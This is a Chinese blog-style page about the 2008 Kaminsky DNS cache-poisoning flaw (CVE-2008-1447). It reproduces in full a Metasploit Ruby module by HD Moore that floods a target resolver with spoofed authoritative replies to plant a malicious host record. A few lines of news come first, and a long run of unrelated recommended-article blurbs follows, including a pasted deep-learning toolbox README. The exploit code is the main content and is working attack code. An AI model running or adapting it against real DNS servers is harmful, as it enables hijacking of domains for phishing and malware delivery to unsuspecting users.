DNS服务器漏洞

游戏大厂状态同步与帧同步技术全解析——让虚拟世界万物协同的“时间齿轮” 本文深入解析了大厂游戏开发中的两种核心同步技术:状态同步和帧同步。状态同步适合大型MMO和FPS游戏,由服务端计算并广播世界状态;帧同步则通过统一操作输入实现MOBA和RTS游戏的绝对公平。文章详细比较了两者的差异、适用场景和底层实现原理,并揭秘了《王者荣耀》《PUBG》等热门游戏的同步机制。同时探讨了本地预测、延迟补偿、防作弊等关键技术,以及未来AI和云游戏带来的同步新挑战,为开发者提供了全面的技术参考和实践指南。 阅读详情

Infoworld 报道,著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.

这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.infoworld.com网站也提醒了这个攻击导致的网络钓鱼欺骗的问题.

攻击代码
--------------------------------------------------------------------------------

Search:      LoginSettingsHelp/GuideAbout Trac
WikiTimelineBrowse SourceView TicketsSearchRoadmap
Last Change Revision Log
root/framework3/trunk/modules/auxiliary/spoof/dns/baliwicked_host.rb
View revision:  Revision 5579, 10.0 kB (checked in by hdm, 4 days ago) 
ZOMG. What is this? >:-)

 
Property svn:keywords set to Rev Revision Id Header
 

Line  
1 require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'
5 
6 module Msf
7 
8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
9 
10         include Exploit::Remote::Ip
11 
12         def initialize(info = {})
13                 super(update_info(info, 
14                         'Name'           => 'DNS BaliWicked Attack',
15                         'Description'    => %q{
16                                 This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
17                                 Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
18                                 malicious host entry into the target nameserver by sending random sub-domain
19                                 queries to the target DNS server coupled with spoofed replies to those
20                                 queries from the authoritative nameservers for the domain which contain a
21                                 malicious host entry for the hostname to be poisoned in the authority and
22                                 additional records sections.  Eventually, a guessed ID will match and the
23                                 spoofed packet will get accepted, and due to the additional hostname entry
24                                 being within baliwick constraints of the original request the malicious host
25                                 entry will get cached.
26                         },
27                         'Author'         => [ 'I)ruid', 'hdm' ],
28                         'License'        => MSF_LICENSE,
29                         'Version'        => '$Revision$',
30                         'References'     =>
31                                 [
32                                         [ 'CVE', '2008-1447' ],
33                                         [ 'US-CERT-VU', '8000113' ],
34                                         [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35                                 ],
36                         'Privileged'     => true,
37                         'Targets'        => 
38                                 [
39                                         ["BIND",  
40                                                 {
41                                                         'Arch' => ARCH_X86,
42                                                         'Platform' => 'linux',
43                                                 },
44                                         ],
45                                 ],
46                         'DisclosureDate' => 'Jul 21 2008'
47                         ))
48                         
49                         register_options(
50                                 [
51                                         OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52                                         OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53                                         OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54                                         OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55                                         OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56                                         OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57                                 ], self.class)
58                                         
59         end
60         
61         def auxiliary_commands
62                 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63         end
64 
65         def cmd_check(*args)
66                 targ = args[0] || rhost()
67                 if(not (targ and targ.length > 0))
68                         print_status("usage: check [dns-server]")
69                         return
70                 end
71 
72                 print_status("Using the Metasploit service to verify exploitability...")
73                 srv_sock = Rex::Socket.create_udp(
74                         'PeerHost' => targ,
75                         'PeerPort' => 53
76                 )               
77 
78                 random = false
79                 ports  = []
80                 lport  = nil
81                 
82                 1.upto(5) do |i|
83                 
84                         req = Resolv::DNS::Message.new
85                         txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86                         req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87                         req.rd = 1
88                         
89                         srv_sock.put(req.encode)
90                         res, addr = srv_sock.recvfrom()
91                         
92 
93                         if res and res.length > 0
94                                 res = Resolv::DNS::Message.decode(res)
95                                 res.each_answer do |name, ttl, data|
96                                         if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97                                                 t_addr, t_port = $1.split(':')
98 
99                                                 print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
100                                                 t_port = t_port.to_i
101                                                 if(lport and lport != t_port)
102                                                         random = true
103                                                 end
104                                                 lport  = t_port
105                                                 ports << t_port
106                                         end
107                                 end
108                         end     
109                 end
110                 
111                 srv_sock.close
112                 
113                 if(ports.length < 5)
114                         print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115                         return
116                 end
117                 
118                 if(random)
119                         print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120                         print_status("      This server may still be exploitable, but not by this tool.")
121                 else
122                         print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123                 end
124         end
125                 
126         def run
127                 target   = rhost()
128                 source   = Rex::Socket.source_address(target)
129                 sport    = datastore['SRCPORT']
130                 hostname = datastore['HOSTNAME'] + '.'
131                 address  = datastore['NEWADDR']
132                 recons   = datastore['RECONS']
133                 xids     = datastore['XIDS'].to_i
134                 ttl      = datastore['TTL'].to_i
135 
136                 domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137 
138                 srv_sock = Rex::Socket.create_udp(
139                         'PeerHost' => target,
140                         'PeerPort' => 53
141                 )
142 
143                 # Get the source port via the metasploit service if it's not set
144                 if sport.to_i == 0
145                         req = Resolv::DNS::Message.new
146                         txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147                         req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148                         req.rd = 1
149                         
150                         srv_sock.put(req.encode)
151                         res, addr = srv_sock.recvfrom()
152                         
153                         if res and res.length > 0
154                                 res = Resolv::DNS::Message.decode(res)
155                                 res.each_answer do |name, ttl, data|
156                                         if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157                                                 t_addr, t_port = $1.split(':')
158                                                 sport = t_port.to_i
159 
160                                                 print_status("Switching to target port #{sport} based on Metasploit service")
161                                                 if target != t_addr
162                                                         print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163                                                 end
164                                         end
165                                 end
166                         end
167                 end
168 
169                 # Verify its not already cached
170                 begin
171                         query = Resolv::DNS::Message.new
172                         query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173                         query.rd = 0
174 
175                         begin
176                                 cached = false
177                                 srv_sock.put(query.encode)
178                                 answer, addr = srv_sock.recvfrom()
179 
180                                 if answer and answer.length > 0
181                                         answer = Resolv::DNS::Message.decode(answer)
182                                         answer.each_answer do |name, ttl, data|
183                                                 if((name.to_s + ".") == hostname  and data.address.to_s == address)
184                                                         t = Time.now + ttl
185                                                         print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186                                                         print_status("         Cache entry expires on #{t.to_s}... sleeping.")
187                                                         cached = true
188                                                         sleep ttl
189                                                 end
190                                         end
191                                 end
192                         end until not cached
193                 rescue ::Interrupt
194                         raise $!
195                 rescue ::Exception => e
196                         print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197                 end
198 
199                 res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200 
201                 print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202 
203                 # Look up the nameservers for the domain
204                 print_status "Querying recon nameserver for #{domain}'s nameservers..."
205                 answer0 = res0.send(domain, Net::DNS::NS)
206                 #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207 
208                 barbs = [] # storage for nameservers
209                 answer0.answer.each do |rr0|
210                         print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211                         if rr0.type == 'NS'
212                                 print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213                                 answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214                                 #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215                                 answer1.answer.each do |rr1|
216                                         print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217                                         res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
218                                         print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219                                         answer2 = res2.send(domain)
220                                         if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221                                                 nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222                                                 barbs << nsrec
223                                                 print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224                                         end
225                                 end
226                         end     
227                 end
228 
229                 if barbs.length == 0
230                         print_status( "No DNS servers found.")
231                         srv_sock.close
232                         disconnect_ip
233                         return
234                 end
235 
236                 # Flood the target with queries and spoofed responses, one will eventually hit
237                 queries = 0
238                 responses = 0
239 
240                 connect_ip if not ip_sock
241 
242                 print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243 
244                 while true
245                         randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246 
247                         # Send spoofed query
248                         req = Resolv::DNS::Message.new
249                         req.id = rand(2**16)
250                         req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251 
252                         req.rd = 1
253 
254                         buff = (
255                                 Scruby::IP.new(
256                                         #:src   => barbs[0][:addr].to_s,
257                                         :src   => source,
258                                         :dst   => target,
259                                         :proto => 17
260                                 )/Scruby::UDP.new(
261                                         :sport => (rand((2**16)-1024)+1024).to_i,
262                                         :dport => 53
263                                 )/req.encode
264                         ).to_net
265                         ip_sock.sendto(buff, target)
266                         queries += 1
267                         
268                         # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269                         req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270                         req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271                         req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272                         req.qr = 1
273                         req.ra = 1
274 
275                         p = rand(4)+2*10000
276                         p.upto(p+xids-1) do |id|
277                                 req.id = id
278                                 barbs.each do |barb|
279                                         buff = (
280                                                 Scruby::IP.new(
281                                                         #:src   => barbs[i][:addr].to_s,
282                                                         :src   => barb[:addr].to_s,
283                                                         :dst   => target,
284                                                         :proto => 17
285                                                 )/Scruby::UDP.new(
286                                                         :sport => 53,
287                                                         :dport => sport.to_i
288                                                 )/req.encode
289                                         ).to_net
290                                         ip_sock.sendto(buff, target)
291                                         responses += 1
292                                 end
293                         end
294 
295                         # status update
296                         if queries % 1000 == 0
297                                 print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298                         end
299 
300                         # every so often, check and see if the target is poisoned...
301                         if queries % 250 == 0 
302                                 begin
303                                         query = Resolv::DNS::Message.new
304                                         query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305                                         query.rd = 0
306         
307                                         srv_sock.put(query.encode)
308                                         answer, addr = srv_sock.recvfrom()
309 
310                                         if answer and answer.length > 0
311                                                 answer = Resolv::DNS::Message.decode(answer)
312                                                 answer.each_answer do |name, ttl, data|
313                                                         if((name.to_s + ".") == hostname and data.address.to_s == address)
314                                                                 print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315                                                                 disconnect_ip
316                                                                 return
317                                                         end
318                                                 end
319                                         end
320                                 rescue ::Interrupt
321                                         raise $!
322                                 rescue ::Exception => e
323                                         print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324                                 end
325                         end
326 
327                 end
328 
329         end
330 
331 end
332 end     

 

Windows 下 Codex 安装全记录:从零到一的保姆级图文教程 本文主要介绍了Windows 下 Codex 安装全记录:从零到一的保姆级图文教程,希望能对学习使用 Codex 的同学们有所帮助。 文章目录 1. 背景 2. 实战教程 2.1 方案一 2.2 方案二 3. 报错解决方案 阅读详情

相关推荐

DIY音乐播放器:用VS1053模块+Arduino打造你的专属MP3播放器(附完整代码)

本文详细介绍了如何使用VS1053音频解码模块与Arduino开发板,从零开始构建一个功能完备的桌面级MP3播放器。内容涵盖硬件架构设计、SPI总线共享、底层驱动编写、双缓冲区数据流管理以及用户交互实现,并提供完整的代码示例与性能优化建议,帮助创客打造高度可定制的专属音乐播放设备。

weixin_29189003的博客 286

DNS劫持

DNS劫持(DNS Hijacking)是一种网络攻击方式,攻击者通过篡改DNS(域名系统)响应或DNS服务器的配置,将用户从他们打算访问的网站重定向到恶意网站。这种攻击可以用于盗取个人信息、散布恶意软件或进行钓鱼攻击。

SXXYNHHXX的博客 1011

激光SLAM算法性能对比:在Ubuntu20.04上实测Point-LIO/FAST_LIO2/Faster-LIO的运行效果

本文在Ubuntu 20.04平台上对Point-LIO、FAST-LIO2和Faster-LIO三款激光SLAM算法进行了深度实测与性能对比。通过量化分析绝对轨迹误差、CPU/内存占用及单帧处理延迟等核心指标,结合室内外场景数据,为高精度测绘、服务机器人及自动驾驶等不同应用场景提供了清晰的选型指南和实战调优建议。

weixin_28335283的博客 368

【KALI网络安全】DNS攻击(劫持和欺骗)与网络钓鱼的模拟和预防(1)

1、DNS概述 关于DNS的定义,作用,分类以及工作原理,我已经在【Windows Server 2019】DNS服务器的配置与管理——理论】这篇博客中陈述过。 要预防DNS劫持,必须了解它的攻击原理和过程 声明 本博客不是在向大家展示这些攻击的方法,而是让大家尽可能的了解DNS攻击的手段以及如何采取必要的预防措施,来确保更安全地上网。 2、DSN劫持(DNS Hijacking)概述 2.1.什么是DNS劫持 DNS劫持全称为域名服务器劫持,又称DNS重定向(DNS redirection)。它是一种

VMware, Windows, Linux, Cisco, Container, Kubernetes, Kali 5602

【YOLO 系列】基于YOLOv8的工业零件表面缺陷智能检测系统【python源码+Pyqt5界面+数据集+训练代码】

本文详细介绍了如何基于YOLOv8深度学习模型和PyQt5图形界面,构建一套完整的工业零件表面缺陷智能检测系统。内容涵盖从环境搭建、数据集标注、模型训练调参到最终封装成可执行桌面软件的全流程,并深入解析了YOLOv8在工业视觉场景中的技术优势与落地优化策略。

ol78901234的博客 400

深入了解BPM及BPM业务流程管理系统

BPM 即业务流程管理,是一种以规范化的构造端到端的卓越业务流程为中心,以持续地提高组织业务绩效为目的的系统化方法。它涵盖了业务流程的整个生命周期,包括流程的设计、执行、监控、分析和优化。BPM 作为一种先进的管理方法,对于企业提高运营效率、降低成本、提升客户满意度和增强竞争力具有重要意义。BPM 流程管理系统为企业实现 BPM 提供了强大的工具和支持,而 F2BPM 流程管理平台以其先进的技术架构、丰富的功能模块、简单易用的操作界面和强大的定制能力,成为企业实现业务流程管理的理想选择。

Stone3625的博客 2950

常见的DNS攻击类型有哪些?应采取哪些应对措施?

在当今数字化时代,域名系统(DNS)作为互联网的基础设施之一,承担着将域名转换为IP地址的重要任务。然而,DNS也成为了网络攻击的主要目标之一。DNS攻击不仅会导致网站无法访问,还可能引发数据泄露、服务中断等严重后果。本文将详细解析常见的DNS攻击类型,并提供有效的防范策略,帮助企业和个人更好地保护网络安全。

pinglanke001的博客 641

wvp gb28181 pro 平台国标级连功能说明

国标28181不同平台之间支持两种连接方式,平级和上下级,WVP目前支持向上级级联。

zengliguang的专栏 3885

DNS劫持原理与操作

DNS(域名系统)的作用是把网络地址(域名,以一个字符串的形式)对应到真实的计算机能够识别的网络地址(IP地址),以便计算机能够进一步通信,传递网址和内容等。由于域名劫持往往只能在特定的被劫持的网络范围内进行,所以在此范围外的域名服务器(DNS)能够返回正常的IP地址,高级用户可以在网络设置把DNS指向这些正常的域名服务器以实现对网址的正常访问。所以域名劫持通常相伴的措施——封锁正常DNS的IP。

点点的博客 6万+

Qwen-Image(阿里通义千问)技术浅析(一)

Qwen-Image(阿里通义千问多模态模型)是阿里巴巴推出的视觉-语言多模态大模型,能够理解图像内容并完成复杂的跨模态任务。

m0_75253143的博客 675

Android15音频进阶之解underrun与overrun思路(一百一十七)

本篇目的:Android15音频进阶之解underrun与overrun思路Underrun:发生在播放:APP准备的数据太少,导致底层没有音频数据可以播放,导致ADSP被“饿死了“,即Underrun。Overrun: 发声在录音:APP录音数据获取太慢了,导致底层录出来的数据太多了,APP播放不了,导致APP被“撑死了”,即Overrun。

Android系统攻城狮 2103

常用网络攻击

SQL injection根据名字, 我们大致可以猜测到. 这个攻击是和sql数据库相关的(关系型数据库). 系统的解释一下: sql 注入: 指的是攻击者注入一段恶意的脚本, 然后执行他想要的结果。 比如: 获取到该db 里面所有的数据,删除数据库数据.(由于, 后台给前台开放的接口通常只是作为查询使用, 所有 获取db 所有数据这类攻击比较常见).实例攻击这类攻击通常发生在,后台使用动态脚本生...

qiange520的专栏 3244

YOLOv11 改进 - 检测头 | Detect_LSCD轻量共享卷积检测头:轻量化设计破解计算瓶颈,增强复杂场景目标感知能力

本文介绍了基于群归一化(GroupNorm)和共享卷积的轻量化检测头LSCD,并将其集成进YOLOv11。LSCD检测头充分利用了GroupNorm和共享卷积的优势,在保持特征信息有效融合的同时,减少计算量和运算复杂度。我们将LSCD的代码集成到YOLOv11检测头中,并在tasks文件中进行注册。实验证明,YOLOv11-LSCD在目标检测任务中取得了良好的效果。

魔改工程师的博客 2385

dns电脑服务器未响应如何处理_Windows DNS服务器中一个长达17年之久的漏洞分析...

0x00 概述DNS,通常被称为是“互联网的电话簿”,是一种将计算机主机名转换为IP地址的网络协议。由于它是互联网的核心组成部分之一,因此存在许多DNS服务器的解决方案和实现,但只有其中的少数几种方案正在被广泛应用。Windows DNS服务器是Microsoft的实现方案,也是Windows域环境的必要组成部分。SIGRed(CVE-2020-1350)是Windows DNS服务器中...

weixin_39723441的博客 909

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

DNS服务器漏洞可能导致远程代码执行

今天我们发布了MS11-058安全更新,修复了Microsoft DNS服务中的两个漏洞。其中CVE-2011-1966漏洞可能允许攻击者在特定DNS配置的Windows Server 2008和2008 R2 DNS服务器上执行任意代码。本文将分享更多技术细节,帮助您评估环境风险。

分享技术点滴 310

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

这个TsuNAME 新漏洞可对关键 DNS 服务器发动 DDoS 攻击

聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士新西兰和荷兰国家域名注册商(.nz 和 .nl)的运营商在 DNS 流量权威服务器中检测到异常情况后,在域名服务器 (DNS) 生...

smellycat000的专栏 464

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

BIND 9 软件漏洞影响 DNS 服务器

攻击者正利用广泛使用的 BIND 软件漏洞对 DNS 服务器发动拒绝服务攻击。 漏洞影响所有版本的 BIND 9 软件,能被一个简单的数据包利用,瘫痪递归 DNS 服务器和权威 DNS 服务器。安全公司 Sucuri 的 CTO Daniel Cid 称,利用该漏洞的攻击已经开始出现。DNS 域名解析服务是互联网基础设施的重要部分,DNS 服务器瘫痪可能...

weixin_33937499的博客 370

[严重]Microsoft Windows DNS服务器RPC接口远程栈溢出漏洞

危害级别:★★★★★★ 影响版本:Microsoft Windows Server 2003 SP2Microsoft Windows Server 2003 SP1Microsoft Windows 2000SP4

葉落堂 3616

DNS服务器配置以及DNS区域传输漏洞靶场记录

记录DNS服务器的配置,以及DNS区域传输漏洞靶场记录

2302_80489549的博客 1506

注意!神秘DNS漏洞现身 可致服务器奔溃

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33941350的博客 120

dns服务器漏洞修复,两招填补Windows 2003 DNS服务器漏洞DNS服务器 -电脑资料

DNS 是域名系统 (Domain Name System) 的缩写,姓名:张均诚特长:Windows系统漏洞研究使用工具:DNS服务器漏洞利用工具自白:最近Windows系统的DNS出现了0day漏洞,自从这个安全漏洞的代码被披露,攻击这个漏洞的Nirbot蠕虫已经出现了各种变体。如果这个漏洞被 利用,那么系统就会被 完全控制。DNS漏洞打开系统防线Windows DNS如果存在这个漏洞,那么它...

weixin_39616056的博客 469

vs 服务容器中已存在服务_Windows DNS服务器曝“蠕虫级”漏洞,已存在长达17年...

研究人员新发现一个高度严重的可蠕虫漏洞 SigRed ,CVSS 评分为满分10分。该漏洞影响2003年-2019年的Windows Server版本。漏洞介绍SigRed漏洞的高危害性在于其是可蠕虫的,也就是可以自传播的,无需用户交互就能传播到易受攻击的设备上,允许未经身份验证的远程攻击者获得针对目标服务器的域管理员特权,并完全控制组织的IT基础架构。漏洞运行机制攻击者可以通过将恶意D...

weixin_39518678的博客 106

安全人员发现以色列政府DNS服务器存在Open SSH安全漏洞

安全研究人员Eitan Caspi最近检查了gov.il子域的HTTPS站点是否有安全问题,结果他在以色列政府DNS服务器上发现了一个开放的Open SSH访问。 使用Qualys开发的在线SSL检查器,Eitan Caspi分析了服务器上的SSL配置,最终在端口22上收到来自其中一个被检查IP的答复。 SSH使用端口22,该服务允许管理员连接到Linux服务器,Caspi说开放访问允许他尝试登...

SSL加密技术 319

dns服务器漏洞修复,KB4569509:DNS 服务器漏洞 CVE-2020-1350 指南

简介2020 年 7 月 14 日,Microsoft 发布了针对 CVE-2020-1350 | Windows DNS 服务器远程代码执行漏洞中描述的问题的安全更新。 此通报描述了影响配置为运行 DNS 服务器角色的 Windows 服务器的关键远程代码执行 (RCE) 漏洞。 我们强烈建议服务器管理员尽早应用此安全更新。可以利用基于注册表的解决方法来帮助保护受影响的 Windows 服务器,...

weixin_36333122的博客 755

CVE-2025-13878:BIND高危漏洞击穿DNS防线 远程无密单包即可致服务器崩溃

